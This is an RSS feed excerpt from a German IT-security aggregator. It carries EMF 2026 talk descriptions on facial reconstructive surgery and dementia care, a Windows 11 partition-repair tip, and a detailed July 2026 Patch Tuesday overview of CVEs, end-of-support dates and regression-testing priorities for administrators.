<title><![CDATA[Modern Facial Reconstructive Surgery - Computer design, 3D printing and custom implants. (emf2026)]]></title>
<description><![CDATA[Content Warning: mid-surgery photographs, blood

How can modern technology help with removing a large facial tumour and transplant the patient's leg bone to their face to replace their missing jaw? 

Come to this talk and find out!

I am an Oral and Maxillofacial surgeon and we are the interface ...]]></description>
<link>https://tsecurity.de/de/3678621/it-security-video/modern-facial-reconstructive-surgery-computer-design-3d-printing-and-custom-implants-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678621/it-security-video/modern-facial-reconstructive-surgery-computer-design-3d-printing-and-custom-implants-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 01:47:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content Warning: mid-surgery photographs, blood

How can modern technology help with removing a large facial tumour and transplant the patient's leg bone to their face to replace their missing jaw? 

Come to this talk and find out!

I am an Oral and Maxillofacial surgeon and we are the interface between medicine and dentistry,  we have to be qualified as both a doctor and a dentist and operate on the face, jaws and neck. We commonly deal with facial trauma, deformity, removing head and neck cancer and reconstruction of the space left behind (taking tissue from elsewhere on the body to do so).

I'll show you what I get to do for a living and why you might need to see myself or a colleague. Then we'll explore how modern medical imaging, 3D scanners, computer aided design and 3D printing is changing the face of modern surgery.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/35-modern-facial-reconstructive-surgery-computer-design]]></content:encoded>
</item>
<item>
<title><![CDATA[Modern Facial Reconstructive Surgery - Computer design, 3D printing and custom implants. (emf2026)]]></title>
<description><![CDATA[Content Warning: mid-surgery photographs, blood

How can modern technology help with removing a large facial tumour and transplant the patient's leg bone to their face to replace their missing jaw? 

Come to this talk and find out!

I am an Oral and Maxillofacial surgeon and we are the interface ...]]></description>
<link>https://tsecurity.de/de/3678616/it-security-video/modern-facial-reconstructive-surgery-computer-design-3d-printing-and-custom-implants-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678616/it-security-video/modern-facial-reconstructive-surgery-computer-design-3d-printing-and-custom-implants-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 01:31:46 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Content Warning: mid-surgery photographs, blood

How can modern technology help with removing a large facial tumour and transplant the patient's leg bone to their face to replace their missing jaw? 

Come to this talk and find out!

I am an Oral and Maxillofacial surgeon and we are the interface between medicine and dentistry,  we have to be qualified as both a doctor and a dentist and operate on the face, jaws and neck. We commonly deal with facial trauma, deformity, removing head and neck cancer and reconstruction of the space left behind (taking tissue from elsewhere on the body to do so).

I'll show you what I get to do for a living and why you might need to see myself or a colleague. Then we'll explore how modern medical imaging, 3D scanners, computer aided design and 3D printing is changing the face of modern surgery.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/35-modern-facial-reconstructive-surgery-computer-design]]></content:encoded>
</item>
<item>
<title><![CDATA[The Astronaut Protocol (emf2026)]]></title>
<description><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission...]]></description>
<link>https://tsecurity.de/de/3678051/it-security-video/the-astronaut-protocol-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678051/it-security-video/the-astronaut-protocol-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:19:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission teams who understood that how you frame a problem changes whether you can solve it.

Dementia care never got that memo.

The Astronaut Protocol draws on sixty years of space science to challenge our expectations of longevity, caring, and cognition. The same disciplines that underpin space exploration — neuroscience, physiology, psychology, human performance — inform how astronauts and their mission teams work the problem. When we do the same, something shifts — we start to see what's possible, draw on research evidence to make better decisions, and discover that astronauts and their mission teams might be the role models we never knew we needed.

This talk is for the curious, the people who like to pull things apart and understand how they work, the problem-solvers — and anyone who has dementia on their radar. If you're looking for something constructive — not relentlessly positive, but genuinely practical — this is for you.

There is rigorous science. There are stories you won't see coming.

Dementia carries a gravity that space travel never had to. This talk is an invitation to put that gravity down — and look up.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/94-the-astronaut-protocol]]></content:encoded>
</item>
<item>
<title><![CDATA[EFI System partition Full repair needed in Windows 11]]></title>
<description><![CDATA[Some users are reporting that their hard drive partition is showing the Full repair needed status message in Windows 11 Settings. This issue is usually associated with the EFI partition. However, other hard drive partitions can also show this error. If your hard drive is showing the Full repair n...]]></description>
<link>https://tsecurity.de/de/3678008/windows-tipps/efi-system-partition-full-repair-needed-in-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678008/windows-tipps/efi-system-partition-full-repair-needed-in-windows-11/</guid>
<pubDate>Sat, 18 Jul 2026 14:56:00 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="400" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed.png" class="attachment-full size-full wp-post-image" alt="Hard drive partition showing Full repair needed" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed-500x286.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed-300x171.png 300w" sizes="(max-width: 700px) 100vw, 700px">Some users are reporting that their hard drive partition is showing the Full repair needed status message in Windows 11 Settings. This issue is usually associated with the EFI partition. However, other hard drive partitions can also show this error. If your hard drive is showing the Full repair needed message, the solutions provided in […]</p>
<p>This article <a href="https://www.thewindowsclub.com/hard-drive-partition-is-showing-full-repair-needed-on-windows">EFI System partition Full repair needed in Windows 11</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Astronaut Protocol (emf2026)]]></title>
<description><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission...]]></description>
<link>https://tsecurity.de/de/3677985/it-security-video/the-astronaut-protocol-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677985/it-security-video/the-astronaut-protocol-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 14:33:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts experience cognitive impairment, bone loss, muscle deterioration, depression, and continence challenges. Nobody calls it failure.

Space stays aspirational on purpose. The language, the problem-solving, the refusal to accept the inevitable — these are deliberate choices made by mission teams who understood that how you frame a problem changes whether you can solve it.

Dementia care never got that memo.

The Astronaut Protocol draws on sixty years of space science to challenge our expectations of longevity, caring, and cognition. The same disciplines that underpin space exploration — neuroscience, physiology, psychology, human performance — inform how astronauts and their mission teams work the problem. When we do the same, something shifts — we start to see what's possible, draw on research evidence to make better decisions, and discover that astronauts and their mission teams might be the role models we never knew we needed.

This talk is for the curious, the people who like to pull things apart and understand how they work, the problem-solvers — and anyone who has dementia on their radar. If you're looking for something constructive — not relentlessly positive, but genuinely practical — this is for you.

There is rigorous science. There are stories you won't see coming.

Dementia carries a gravity that space travel never had to. This talk is an invitation to put that gravity down — and look up.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/94-the-astronaut-protocol]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



